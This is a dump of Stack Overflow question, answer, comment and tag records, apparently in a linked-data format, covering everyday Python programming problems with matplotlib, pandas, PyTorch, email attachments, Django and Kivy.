has body: I have a problem showing data in a graph. The graph frame appears, but no graph is to be seen. Can you please help ? I made sure that the dimension of the x axis and the data is the same ... I simply cannot find out why I do not get a graph in return. Thank you very much in advance. import numpy as np import matplotlib.pyplot as plt from scipy.stats import norm n = 1000 theta = 0.8 d = np.sqrt(1-theta**2) def p(x,y): "Stochastic kernel for the TAR model" return norm().pdf((y-theta*np.abs(x))/d)/d Z = norm().rvs(n) X = np.empty(n) for t in range(n-1): X[t+1] = theta*np.abs(X[t])+d*Z[t+1] n = len(X) X = X.reshape((n, 1)) ys = np.linspace(-3,3,200) k = len(ys) ys = ys.reshape((1,k)) v = p(X,ys) kernel = np.mean(v, axis=0) h = len(kernel) kernel = kernel.reshape((1,h)) fig, ax = plt.subplots(figsize=(10,7)) ax.plot(ys,kernel, 'b-', lw=2,alpha=0.6, label='look ahead estimate') plt.show()
has answer: http://stackoverflow.com/a/47240161
score: 1
upvote count: 1
tagged with: matplotlib
downvote count: 0
answer count: 1
favorite count: 0

http://stackoverflow.com/comment/81655007
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47351437
has text: Yeah but see, after all this code is run, it should print the total ties loses and wins, but instead, it only prints 1 of them instead of adding them all together.
score: 0

http://stackoverflow.com/comment/81470489
has text: and what do you expect the result of `[1.0,2.0,3.0]**2` (`x**2`) to be? You cannot raise a `list` to a power.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47259846

dask
tags question: http://stackoverflow.com/q/47376416
type: Tag
tags question: http://stackoverflow.com/q/47325297
tags question: http://stackoverflow.com/q/47242819
tags question: http://stackoverflow.com/q/47268169
tags question: http://stackoverflow.com/q/47361570
tags question: http://stackoverflow.com/q/47280268
tags question: http://stackoverflow.com/q/47284962
tag name: dask
tags question: http://stackoverflow.com/q/47307968
tags question: http://stackoverflow.com/q/47300713
tags question: http://stackoverflow.com/q/47376786

http://stackoverflow.com/a/47368338
type: Answer
has comment: http://stackoverflow.com/comment/81689483
has comment: http://stackoverflow.com/comment/81689404
has comment: http://stackoverflow.com/comment/81689492
type: AcceptedAnswer
downvote count: 0
has body: This conditional list comprehension will work: master_exclude = [x for x in master if x not in exclude] If these involved lists are larger, consider first converting exclude to a set in order to make the contains check more performant: exclude = set(exclude)
has comment: http://stackoverflow.com/comment/81689141
accepted answer of: http://stackoverflow.com/q/47368326
has comment: http://stackoverflow.com/comment/81689050
has comment: http://stackoverflow.com/comment/81689363
score: 5
has comment: http://stackoverflow.com/comment/81689252
answers question: http://stackoverflow.com/q/47368326
has comment: http://stackoverflow.com/comment/81689271
has comment: http://stackoverflow.com/comment/81689354
upvote count: 5

http://stackoverflow.com/a/47475681
accepted answer of: http://stackoverflow.com/q/47275395
has comment: http://stackoverflow.com/comment/82002507
answers question: http://stackoverflow.com/q/47275395
type: AcceptedAnswer
score: 6
upvote count: 6
has body: The code from your example (https://github.com/davidsonmizael/gan) gave me the same noise as you show. The loss of the generator decreased way too quickly. There were a few things buggy, I'm not even sure anymore what - but I guess it's easy to figure out the differences yourself. For a comparison, also have a look at this tutorial: GANs in 50 lines of PyTorch .... same as your code print("# Starting generator and descriminator...") netG = G() netG.apply(weights_init) netD = D() netD.apply(weights_init) if torch.cuda.is_available(): netG.cuda() netD.cuda() #training the DCGANs criterion = nn.BCELoss() optimizerD = optim.Adam(netD.parameters(), lr = 0.0002, betas = (0.5, 0.999)) optimizerG = optim.Adam(netG.parameters(), lr = 0.0002, betas = (0.5, 0.999)) epochs = 25 timeElapsed = [] for epoch in range(epochs): print("# Starting epoch [%d/%d]..." % (epoch, epochs)) for i, data in enumerate(dataloader, 0): start = time.time() time.clock() #updates the weights of the discriminator nn netD.zero_grad() #trains the discriminator with a real image real, _ = data if torch.cuda.is_available(): inputs = Variable(real.cuda()).cuda() target = Variable(torch.ones(inputs.size()[0]).cuda()).cuda() else: inputs = Variable(real) target = Variable(torch.ones(inputs.size()[0])) output = netD(inputs) errD_real = criterion(output, target) errD_real.backward() #retain_graph=True #trains the discriminator with a fake image if torch.cuda.is_available(): D_noise = Variable(torch.randn(inputs.size()[0], 100, 1, 1).cuda()).cuda() target = Variable(torch.zeros(inputs.size()[0]).cuda()).cuda() else: D_noise = Variable(torch.randn(inputs.size()[0], 100, 1, 1)) target = Variable(torch.zeros(inputs.size()[0])) D_fake = netG(D_noise).detach() D_fake_ouput = netD(D_fake) errD_fake = criterion(D_fake_ouput, target) errD_fake.backward() # NOT:backpropagating the total error # errD = errD_real + errD_fake optimizerD.step() #for i, data in enumerate(dataloader, 0): #updates the weights of the generator …
downvote count: 0
type: Answer

http://stackoverflow.com/comment/135445076
type: Comment
comment on: http://stackoverflow.com/a/47309516
has text: I don't understand what the `max_workers defines` in luigi.cfg do and act on workflows. However, my problem looks close, I want to define a **maximum** number of task in parallel for all workflow and also define a maximum number of task in parallel for every single workflow.
score: 0
type: AnswerComment

http://stackoverflow.com/q/47334185
tagged with: python-3.x
has answer: http://stackoverflow.com/a/59249712
tagged with: smtplib
has comment: http://stackoverflow.com/comment/93086647
type: UnansweredQuestion
downvote count: 0
tagged with: python
score: 11
has title: Python - How to send an email with attachment without loading the whole file into memory at once?
answer count: 1
tagged with: email
has comment: http://stackoverflow.com/comment/83333078
has body: I would like to send emails with attachments of 10MB or more in a VPS with low RAM; the usual way to send an email with attachments in Python 3 (that I have found) is this: from email.message import EmailMessage # import other needed stuff here omitted for simplicity attachment = 'some_file.tar' msg = EmailMessage() # set from, to, subject here # set maintype, subtype here with open(attachment, 'rb') as fd: msg.add_attachment(fd.read(), # this is the problem, the whole file is loaded maintype=maintype, subtype=subtype, filename=attachment) # smtp_serv is an instance of smtplib.SMTP smtp_serv.send_message(msg) With this approach the whole file is loaded into memory and then the EmailMessage object is sent with smtplib.SMTP.send_message, what I am expecting is a way to give to add_attachment a file descriptor(or an iterable), instead of the file content, that is read in a lazy approach(ex. line by line or by some fixed amount of bytes) while the attachment is sent to the server, something like: with open('somefile') as fd: msg.add_attachment(fd, maintype=mt, subtype=st, filename=fn) smtp_serv.send_message(msg) Is there a way to do this(sending an attachment without loading the whole file at once) with the standard library (email and smtplib)???? I can't find any clue in the python documentation. Thanks in advance.
has comment: http://stackoverflow.com/comment/83332939
has comment: http://stackoverflow.com/comment/83528882
favorite count: 0
upvote count: 11
type: Question

http://stackoverflow.com/q/47350014
type: Question
has body: In excel file I have columns "date" which contains dates in the following format: 11/17/2017 2:40:40 PM this translates to month/day/year H:M:S When importing this file in Pandas its dtype is &lt;M8[ns] So, I want to split the values. Desired output have to be 11/17/2017 and it has to be in the same format as it would be if we do this split in excel file. I mean, I need the values to be like 11/17/2017 but format this date to show only day and month like this:17-Nov I tried several methods but didn't work. Can anyone help me?
tagged with: datetime
accepted answer: http://stackoverflow.com/a/47350147
tagged with: dataframe
tagged with: python
has answer: http://stackoverflow.com/a/47350147
has title: Split date in pandas
has comment: http://stackoverflow.com/comment/81651968
tagged with: pandas
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81652241
has comment: http://stackoverflow.com/comment/81652197
downvote count: 0
has comment: http://stackoverflow.com/comment/81651931
score: 1
upvote count: 1
answer count: 1
favorite count: 0
tagged with: excel
has comment: http://stackoverflow.com/comment/81652539
has comment: http://stackoverflow.com/comment/81652266

http://stackoverflow.com/comment/124427408
type: AnswerComment
comment on: http://stackoverflow.com/a/47311878
has text: @JulesG.M., @stanislav-koncebovski, my experience is that which matplotlib backend you should use depends on which versions of matplotlib and jupyter you are currently using. E.g. I sometimes use the `widget` backend instead of `notebook`, especially when running in JupyterLab. I guess running it in vscode might give the same type of problems. Making sure you run the latest versions of everything is probably a good idea also.
type: Comment
score: 0

http://stackoverflow.com/a/47371248
type: Answer
answers question: http://stackoverflow.com/q/47350570
has comment: http://stackoverflow.com/comment/81847108
has body: Not really. While PEP 484 does specify that you can create custom pyi files that end up acting as the "public interface" for your existing modules for the benefit of any users of your code, it doesn't specify a way to take those pyi files and internally typecheck the corresponding py file. In fact, if a directory contains both a py and pyi file, the py file will be ignored completely. There's an open feature request for this on the mypy issue tracker, but it seems like a low-priority kind of task to me because even if that feature were implemented, you'd ultimately be able to use only a subset of Python's type system. For example, suppose we wanted to use something like NewType to write some code for templating HTML or something: from pathlib import Path from typing import NewType UnsanitizedText = NewType('UnsanitizedText', str) CleanHtml = NewType('CleanHtml', str) HtmlTemplate = NewType('HtmlTemplate', str) def get_user_input() -&gt; UnsanitizedText: # code omitted def escape_to_html(raw: UnsanitizedText) -&gt; CleanHtml: # perform checks on 'raw', do escaping logic, etc return CleanHtml(cleaned_string) def load_template(path: Path) -&gt; HtmlTemplate: return HtmlTemplate(path.read_text()) def render_template(template: HtmlTemplate, *kwargs: CleanHtml) -&gt; CleanHtml: # code omitted t = load_template(Path("foo/bar.html")) dirty = get_user_input() clean = escape_to_html(dirty) print(render_template(t, arg=dirty)) # Does not typecheck print(render_template(t, arg=clean)) # Typechecks Since we actually do need to call the phantom newtypes we constructed/can mix and mingle these phantom calls within regular expressions, it's unclear how we would represent this module as a stub. There are several other typing features that would also be difficult to represent in stubs -- things like casts, NamedTuple, TypedDict, etc.
upvote count: 3
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47350570
score: 3

http://stackoverflow.com/q/47363395
tagged with: random
answer count: 3
upvote count: 1
has answer: http://stackoverflow.com/a/47363430
downvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47363465
has title: I need help making a random number generator as a lock in a simple game
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47363491
tagged with: python
tagged with: generator
has body: Basically, I wanted to be able to make a code that would generate a random number and have the user try and guess that number by putting in an input. I thought it would work, but it just runs the else statement everytime even if I do guess the right number. import random def main(): values = [1, 2, 3, 5, 7, 10] a = random.choice(values) print (a) ##########To see what the number is######### b = input('Enter a number: ') if b == a: print('You have guessed the number!') else: print('Try again') main() main()
score: 0

http://stackoverflow.com/comment/81504147
type: QuestionComment
comment on: http://stackoverflow.com/q/47276177
has text: Eventually, the idea is something like the following (which is causing some _issues_): new_train_x.loc[-1] = old_train_x.loc[4].copy() new_train_y.loc[-1] = old_train_y.loc[4]
score: 0
type: Comment

http://stackoverflow.com/a/47378541
answers question: http://stackoverflow.com/q/47377380
score: 1
upvote count: 1
type: Answer
has body: This usually results from you accidentally including extra files in the APK. If you can't work out what they could be, unzip the apk, locate the assets/private.mp3 file inside it, and untar that (it's really a tar archive). The contents you find should be everything you included in the APK, so you can check if they match what you expected.
has comment: http://stackoverflow.com/comment/81719916
downvote count: 0
has comment: http://stackoverflow.com/comment/81711883

http://stackoverflow.com/comment/81559806
has text: @Vinny ty vinny i know what to look up now
score: 0
comment on: http://stackoverflow.com/q/47303512
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47341414
has comment: http://stackoverflow.com/comment/81675397
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81660305
has comment: http://stackoverflow.com/comment/81667642
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81635158
tagged with: python
has comment: http://stackoverflow.com/comment/81636516
has body: I have been using PhantomJS with Python selenium to scrap a website for a while and now I am getting this page instead. Access Denied Access Denied You don't have permission to access "http://elpais.com/" on this server Reference #18.4adedd58.1510878066.6ade65ca This is how I start PhantomJS from selenium import webdriver from selenium.webdriver.common.desired_capabilities import DesiredCapabilities def open_headless_browser(): dcap = dict(DesiredCapabilities.PHANTOMJS) dcap["phantomjs.page.settings.userAgent"] = ( "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/53 " "(KHTML, like Gecko) Chrome/15.0.87" ) driver = webdriver.PhantomJS(desired_capabilities=dcap) driver.set_window_size(1024, 768) driver.implicitly_wait(1) return driver
has comment: http://stackoverflow.com/comment/81674088
has comment: http://stackoverflow.com/comment/81675380
tagged with: phantomjs
has title: PhantomJS returns Access Denied with Python Selenium
answer count: 0
downvote count: 0
score: 1
upvote count: 1
tagged with: selenium
has comment: http://stackoverflow.com/comment/81675717
has comment: http://stackoverflow.com/comment/81635191

http://stackoverflow.com/a/79205990
score: 0
answers question: http://stackoverflow.com/q/47231408
has body: If you run into the same issue while working in a python virtual environment you can upgrade certifi to ensure you have the latest Certificate Authority (CA) certificates. Like this: pip install --upgrade certifi This should solve the problem!
type: Answer

http://stackoverflow.com/q/47358841
downvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/81670479
has answer: http://stackoverflow.com/a/47358977
has title: Python Django user model extension
has body: I want to add phone number feild to user model and I would like to verify email and phone when we add user to the list. I would like to know your comments on it. Make a userapi which will integrate with Google or Facebook for authentication this will also verify phone number using third party. Is my approach correct? If you can provide code snippets on model, apiview it will very useful. Thanks Kay
has comment: http://stackoverflow.com/comment/81670471
score: -1
type: Question
has comment: http://stackoverflow.com/comment/81670971
upvote count: 0
type: UnansweredQuestion
answer count: 1
tagged with: django
tagged with: python

http://stackoverflow.com/q/47275011
type: Question
answer count: 1
has body: I have the following script: import pandas from collections import Counter import matplotlib.pyplot as plt while True: data = [int(x) for x in raw_input("Enter the list containing the data: ").split()] letter_counts = Counter(data) df = pandas.DataFrame.from_dict(letter_counts, orient="index") df.plot(kind="bar") plt.show() When I either type or copy and paste a series or numbers, for instance, 1 4 5 6 3 the script works perfectly and shows me the histogram. However, when I paste numbers from the output I get from a different terminal window, for instance: 13 13 16 16 16 16 9 9 9 9 9 15 15 15 15 20 20 20 20 20 22 22 22 22 13 13 13 13 12 12 12 12 12 16 16 16 16 15 15 15 15 15 15 15 15 15 15 15 15 15 22 22 22 22 22 15 15 15 15 13 13 13 13 13 18 18 18 18 10 10 10 10 12 12 12 12 12 10 10 10 10 20 20 20 20 20 15 15 15 15 15 15 15 15 17 17 17 17 17 13 The first time I enter the data, it works perfectly; however, when I enter it the second time, it doesn't do anything and then I have to hit enter again. It shows me the plot, but when I close it, it gives me the following error: &gt; Enter the list containing the data: Traceback (most recent call last): &gt; File "make_histo.py", line 9, in &lt;module&gt; &gt; df.plot(kind="bar") File "/usr/local/lib/python2.7/dist-packages/pandas/plotting/_core.py", &gt; line 2627, in __call__ &gt; sort_columns=sort_columns, **kwds) File "/usr/local/lib/python2.7/dist-packages/pandas/plotting/_core.py", &gt; line 1869, in plot_frame &gt; **kwds) File "/usr/local/lib/python2.7/dist-packages/pandas/plotting/_core.py", &gt; line 1694, in _plot &gt; plot_obj.generate() File "/usr/local/lib/python2.7/dist-packages/pandas/plotting/_core.py", &gt; line 243, in generate &gt; self._compute_plot_data() File "/usr/local/lib/python2.7/dist-packages/pandas/plotting/_core.py", &gt; line 352, in _compute_plot_data &gt; 'plot'.format(numeric_data.__class__.__name__)) TypeError: Empty 'DataFrame': no numeric data to plot What am I doing wrong?
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/47293743
has comment: http://stackoverflow.com/comment/81501563
tagged with: matplotlib
has title: What is wrong with the data that I am trying to send to matplotlib?
has answer: http://stackoverflow.com/a/47293743
has comment: http://stackoverflow.com/comment/81505499
tagged with: python
has comment: http://stackoverflow.com/comment/81505494
has comment: http://stackoverflow.com/comment/81502202

http://stackoverflow.com/q/47260451
tagged with: python-3.6
type: AnsweredQuestion
upvote count: 1
tagged with: http://stackoverflow.com/tag/csv
score: 1
answer count: 1
has body: My query grabs data and puts it into a CSV file. As you can see below I have added a mapping to say if any fields equal to 1970-01-01 00:00:00 put it to null before writing to the CSV. However I am getting errors when I do this mapping. My Code: from datetime import datetime import csv csv_file = 'File_' + str(datetime.now().strftime('%Y_%m_%d - %H.%M.%S')) + '.csv' header_names = { 'VT': 'Side', 'NCR': 'ExTime', 'N': 'Name', 'DT': 'Party', ' RD ': 'Period', ‘DATE’:’Date’} with open(csv_file, 'w', newline='') as f: w = csv.DictWriter(f, fieldnames=header_names.keys(), restval='', extrasaction='ignore') w.writerow(header_names,) for doc in res['hits']['hits']: my_dict = doc['_source'] mapping = {0: "None",1: "yes", 6: "no", 9: "maybe", 100:"no/yes", 101: "no/maybe"} VT1 = my_dict['VT'] my_dict['VT'] = mapping.get(int(VT1), VT1) mapping1 = {0: "New", 1: "Cancel", 2: "Future"} DT1 = my_dict['DT'] my_dict['DT'] = mapping1.get(int(DT1), DT1) mapping2 = {1920-01-01 00:00:00: 'Null'} PT1 = my_dict['DATE'] my_dict['DATE'] = mapping2.get(int(PT1), PT1) w.writerow(my_dict) Error one: mapping2 = {01/01/1970 00:00:00: ' '} ^ SyntaxError: invalid token Error two Traceback (most recent call last): File "C:/Users/rich/.PyCharmCE2017.2/config/scratches/CSV.py", in &lt;module&gt; my_dict['DATE'] = mapping12.get(int(PT1), PT1) ValueError: invalid literal for int() with base 10: '1920-01-01 00:00:00' How am I able to say if the date equals to 1920-01-01 put the word Null?
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47260770
accepted answer: http://stackoverflow.com/a/47260770
downvote count: 0
tagged with: python
has title: Adding the word Null to a CSV file

http://stackoverflow.com/a/47334101
has comment: http://stackoverflow.com/comment/81622597
has comment: http://stackoverflow.com/comment/81656387
has comment: http://stackoverflow.com/comment/81621957
accepted answer of: http://stackoverflow.com/q/47332121
has comment: http://stackoverflow.com/comment/81622969
has comment: http://stackoverflow.com/comment/81619635
upvote count: 3
has comment: http://stackoverflow.com/comment/81621473
has comment: http://stackoverflow.com/comment/81620980
type: AcceptedAnswer
downvote count: 0
has body: Currently, you are merging twice but really need to merge base with individual dfs and then append all together with pd.concat. Below recreates your posted examples above which assumes same structure as Excel files and demonstrates the merge and append steps. You will notice drop_duplicates is used due to the left join merges that render same row values. Keep or remove this method on actual data. Data from io import StringIO import pandas as pd txt = ''' Model Roadmap Family a some_date some b some_date some c some_date some d some_date some ''' base_df = pd.read_table(StringIO(txt), sep="\s+") txt = ''' Model "Gate 0" "Gate 1" a some_date some ''' df1 = pd.read_table(StringIO(txt), sep="\s+") txt = ''' Model "Gate 0" "Gate 1" b some_date some ''' df2 = pd.read_table(StringIO(txt), sep="\s+") Merge and Append (using list comprehension) finaldf = pd.concat([pd.merge(base_df, df, how='left', on='Model') for df in [df1, df2]], ignore_index=True).drop_duplicates() print(finaldf) # Model Roadmap Family Gate 0 Gate 1 # 0 a some_date some some_date some # 1 b some_date some NaN NaN # 2 c some_date some NaN NaN # 3 d some_date some NaN NaN # 4 a some_date some NaN NaN # 5 b some_date some some_date some To integrate in your current process, consider appending individual models into a list to be concatenated and merged at the end. Build base_df as your posted example above. ... dfList = [] for g in gates: z = file.loc[file['Task'] == g, 'Complete'].iloc[0] v = ntpath.basename(a) v = v[5:-5] mod = pd.DataFrame(v,z, columns =['Model',g]) models = pd.merge(models, mod, how='left', on='Model') dfList.append(models) finaldf = pd.merge(base_df, pd.concat(dfList), how='left', on='Model') finaldf.to_excel('Final_Dataset.xlsx')
has comment: http://stackoverflow.com/comment/81620346
has comment: http://stackoverflow.com/comment/81626633
has comment: http://stackoverflow.com/comment/81620496
score: 3
has comment: http://stackoverflow.com/comment/81656431
has comment: http://stackoverflow.com/comment/81625268
has comment: http://stackoverflow.com/comment/81625317
answers question: http://stackoverflow.com/q/47332121
type: Answer

http://stackoverflow.com/q/47249245
tagged with: python
has title: Django app on apache server with VPS
type: Question
type: UnansweredQuestion
tagged with: apache
answer count: 1
has answer: http://stackoverflow.com/a/47253205
tagged with: django
has body: I've installed mod_wsgi on my apache server. And when I configure WSGIScriptAlias to hello.wsgi to test, it works. But to my Django wsgi.py, it gives 500. In error log it says 'End of script outpt before headers: wsgi.py' What am i missing?
score: 0
tagged with: mod-wsgi

http://stackoverflow.com/comment/81668528
comment on: http://stackoverflow.com/a/47351430
score: 0
type: Comment
type: AnswerComment
has text: You are right, that this can easily be achieved with vectorized operations. And indeed it gets faster with bigger arrays. You think this is the best way? `f = ((vars1+vars2)/(1+0.06)**(np.arange(len(vars1))+1)).sum()`

http://stackoverflow.com/q/47238631
has body: I'm a noob with using Kivy. As you can see, I created a simple window with a button. But why doesn't the button change to position to (200, 200)? def build(self): layout = BoxLayout(orientation='vertical') self.labela = Label(text=celotnobesedilo, font_size=14) gumb = Button(text='SEND', font_size=12, size_hint=(None, None), size=(200, 50), pos=(200, 200)) gumb.bind(on_press=self.posljipodatke) layout.add_widget(gumb) layout.add_widget(self.labela) return layout What is wrong? Button is shown, but always on position (0,0). Tnx.
has title: Python/Kivy - Button position
has answer: http://stackoverflow.com/a/47238858
type: Question
type: UnansweredQuestion
tagged with: python
tagged with: kivy
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/47238853

http://stackoverflow.com/comment/81435288
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47240853
has text: @Arman True, but I made sure to ask the OP before I wrote the answer if that was fine...

http://stackoverflow.com/q/47333949
has comment: http://stackoverflow.com/comment/81619718
has body: tupledlist=[(71, 146, 110), (71, 146, 98), (71, 146, 99), (71, 146, 109), (71, 146, 26), (71, 146, 99), (71, 146, 109), (71, 146, 26), (71, 146, 91), (71, 146, 26), (71, 146, 110), (71, 146, 95), (71, 146, 109), (71, 146, 110), (71, 146, 26), (71, 146, 103), (71, 146, 95), (71, 146, 109), (71, 146, 109), (71, 146, 91), (71, 146, 97), (71, 146, 95), (71, 146, 26), (71, 146, 91), (71, 146, 104), (71, 146, 94), (71, 146, 26), (71, 146, 110), (71, 146, 98), (71, 146, 99), (71, 146, 109), (71, 146, 26), (71, 146, 99), (71, 146, 109), (71, 146, 26), (71, 146, 91), (71, 146, 26), (71, 146, 110), (71, 146, 95), (71, 146, 109), (71, 146, 110), (71, 146, 26), (71, 146, 102), (71, 146, 99), (71, 146, 109), (71, 146, 110)] from PIL import Image OUTPUT_IMAGE_SIZE = (1280, 720) for frame_number, color in enumerate(tupledlist): image = Image.new('RGB', OUTPUT_IMAGE_SIZE, color=color) image.save("path.png") This will create a png image. Now I want the list of tuples from the image back. How to achieve this? I tried image.getbands() but it's not working . import PIL from PIL import Image image=Image.open("c:/users/ashub/desktop/encrypted.png") image.getbands()
has comment: http://stackoverflow.com/comment/81620627
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81620334
tagged with: python-imaging-library
has comment: http://stackoverflow.com/comment/81620024
tagged with: python
has comment: http://stackoverflow.com/comment/81619987
accepted answer: http://stackoverflow.com/a/47334924
has comment: http://stackoverflow.com/comment/81620549
has title: How to convert a png image created from a list of tuples back to that list of tuples?
has comment: http://stackoverflow.com/comment/81620084
type: AnsweredQuestion
score: 2
has comment: http://stackoverflow.com/comment/81620387
has answer: http://stackoverflow.com/a/47334924
has comment: http://stackoverflow.com/comment/81619807
has comment: http://stackoverflow.com/comment/81621741
has comment: http://stackoverflow.com/comment/81620279
has comment: http://stackoverflow.com/comment/81619962
upvote count: 2
has comment: http://stackoverflow.com/comment/81620109
has comment: http://stackoverflow.com/comment/81620791
answer count: 1
has comment: http://stackoverflow.com/comment/81621868
downvote count: 0
has comment: http://stackoverflow.com/comment/81620154

http://stackoverflow.com/comment/81689426
type: Comment
type: QuestionComment
has text: I'm trying to put this command line into the CRON. So I need only one line I guess...
score: 0
comment on: http://stackoverflow.com/q/47368541

http://stackoverflow.com/comment/81675887
has text: The generated matrix is dense. I am aware that if systems start exhibiting some specific structure (e.g., tridiagonal, block-diagonal, whatever), then much larger systems can be solved, but in my case, I'm asking about the most general, fully dense case.
comment on: http://stackoverflow.com/q/47361113
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81477925
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47263368
has text: Why use index when you can directly access `row['Summary']` ?
score: 1

http://stackoverflow.com/a/47292763
score: 2
has comment: http://stackoverflow.com/comment/81536156
type: Answer
answers question: http://stackoverflow.com/q/47292736
has body: i is the list element, not an index. It should be: del candidates_and_fp_votes[i] or it should be: for i in in range(len(losers)): if you really want the indexes for some reason.
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/81460259
has text: `loc` works only for keys, `iloc` only for indices. How else than using `ix` can I combine the two? Moreover, why does it work in the first iteration, if this was the problem? (and I tried it and it did not solve the problem)
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47254811
type: QuestionComment

http://stackoverflow.com/a/47245987
type: Answer
has body: Given a list of items and a slice to match: items = ['a', 'b', 'c', 'd'] match = ['b', 'c'] all you need is: matches = items[1:3] in (match, match[::-1]) Note: match[::-1] returns a reversed version of match. Alternative set-based version: match = set(('b', 'c')) # Version 1 matches = match.intersection(items[1:3]) == match # Version 2 matches = not match.difference(items[1:3])
answers question: http://stackoverflow.com/q/47245102
score: 0

http://stackoverflow.com/comment/81488234
comment on: http://stackoverflow.com/q/47264288
type: QuestionComment
has text: Didn't quite understand the comment. I tried the '+=' to force the string to be 'logical' correct, I'll update the Q.
type: Comment
score: 0

http://stackoverflow.com/a/47312874
type: AcceptedAnswer
downvote count: 0
score: 3
has comment: http://stackoverflow.com/comment/81649163
has body: Welcome to the world of Python. You have some basic indentation problems, which are fundamental to how Python works. I'd recommend you going through some tutorials and learning stages to help get the basics right. Here's a link to a good place to start: http://docs.python-guide.org/en/latest/intro/learning/ And by way of example, here are just a couple of examples of fixed errors: class login_ok(object): """docstring for instalogin""" def __init__(self): # For example, all the code defined within a method or function is indented. pass # Similarly, all methods defined 'within' a class need to be indented four spaces. def open_website(self,websiteName): # Through proper indentation, you're telling the Python interpreter # that `open_website` is a method of the parent `login_ok` class print(websiteName)
type: Answer
has comment: http://stackoverflow.com/comment/81650546
has comment: http://stackoverflow.com/comment/81648113
has comment: http://stackoverflow.com/comment/81638226
answers question: http://stackoverflow.com/q/47312714
upvote count: 3
accepted answer of: http://stackoverflow.com/q/47312714

http://stackoverflow.com/comment/81565387
type: Comment
has text: @Gilbert MacOS Sierra (10.12.6)
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47271866

http://stackoverflow.com/q/47336863
score: 0
type: UnansweredQuestion
answer count: 1
linked to: http://stackoverflow.com/q/40427943
has body: I have a dataframe that is 438x14401. I have a DateTimeIndex that is the same length (width?) as the columns in the dataframe, which are now just labeled 1 - ... I am trying to replace those values with the dates in my DateTimeIndex. I am trying to substitude column headings 0 - end with the datetimeindex values, which should match in length. I have tried just renaming the columns with the dates and merging them, with no success. Is this at all possible? stations = stations.iloc[:,2:].rename(columns=v, inplace=True)
tagged with: heading
tagged with: multiple-columns
type: Question
tagged with: pandas
has title: Pandas - DatetimeIndex as column headings
has comment: http://stackoverflow.com/comment/81635106
tagged with: python
has comment: http://stackoverflow.com/comment/81626067
has answer: http://stackoverflow.com/a/47336923

http://stackoverflow.com/comment/81481200
has text: No. Also the fact that it is `hello` and `red` are completely just for the purposes of the simple example it could be any collection of colours and any object.
comment on: http://stackoverflow.com/q/47265000
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47238052
has comment: http://stackoverflow.com/comment/81427122
type: AcceptedAnswer
downvote count: 0
has body: This might happen if you call jupyter notebook at a place other than your root directory. In this case, jupyter might not have access to the file. Try going to D: and calling jupyter notebook and then retrying this. Another option is to get the path of your notebook using: os.path.abspath("__file__") and then setting a relative path to the dataset. Edit: Let's say you want to set a path one level above the directory that contains the notebook. Then you would do: foo = os.path.dirname(os.path.abspath("__file__")) relative_path = os.path.join(foo, '..')
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/81426971
has comment: http://stackoverflow.com/comment/81435513
type: Answer
accepted answer of: http://stackoverflow.com/q/47235869
has comment: http://stackoverflow.com/comment/81427752
answers question: http://stackoverflow.com/q/47235869
has comment: http://stackoverflow.com/comment/81435516
has comment: http://stackoverflow.com/comment/81429336

http://stackoverflow.com/q/47370490
downvote count: 1
favorite count: 0
has body: I have multiple lists of integers, that look something like this. [0, [199705, 213905, 212829, 13457, 111686, 607393, 872608, 732377, 182538, 787881, 118319, 964795, 166968, 365009, 894771, 613260, 641339, 25337, 34115, 893819, 795572, 685695, 312904, 907582, 871031, 166572, 677524, 579547, 293532, 823144, 475466, 809697, 941561, 691401, 933961, 968512, 533541, 65023, 553086, 644441, 448130, 721938, 404353, 430226, 391164, 805168, 119856, 322218, 657328, 433268]] [1, [347154, 517159, 919812, 929796, 522835, 759868, 683323, 445616, 940315, 862788, 290265, 955975, 453456, 295093, 884128, 748140, 456509, 449460, 676630, 112028, 891628, 927525, 246077, 249585, 430901, 582551, 889207, 115453, 124599, 985059, 5141, 689344, 396875, 770571, 246748, 643185, 573140, 161546, 734303, 872849, 931835, 793428, 678324, 534229, 928903, 211030, 227042, 669851, 545325, 494357]] There are 20 lists like this in total. I have to print the biggest integer from all the lists in a mapreduce paradigm. The output should be a single integer. This is what i have tried. lst = [] def mapper(key, value): lst.append(max(value)) print(key, max(lst)) def reducer(key, list_of_values): print(max(list_of_values)) But it prints out the biggest integer currently in the list, 20 times. This is what my output looks like 968512 985059 988109 988109 999657 999657 999657 999657 999657 999657 999657 999657 999657 999657 999657 999657 999657 999657 999657 999657 How can i get it to print the biggest number in the list just once?
has answer: http://stackoverflow.com/a/47371092
tagged with: python
has comment: http://stackoverflow.com/comment/81693523
score: -1
has comment: http://stackoverflow.com/comment/81693558
type: Question
tagged with: hadoop
has title: Mapreduce: How to print single biggest integer from a list from a reducer that prints it multiple times?
upvote count: 0
type: UnansweredQuestion
answer count: 1

http://stackoverflow.com/comment/81580230
type: Comment
comment on: http://stackoverflow.com/q/47314034
has text: @alexisdevarennes But you'll notice that most suggest only doing it *after* your answer has already been acknowledged as helpful. Anyway, meta is the proper place to discuss. Just wanted to point it out.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/81424002
has text: Please specify what other filters you want to apply. What is the expected results?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47236667

http://stackoverflow.com/comment/81474038
type: AnswerComment
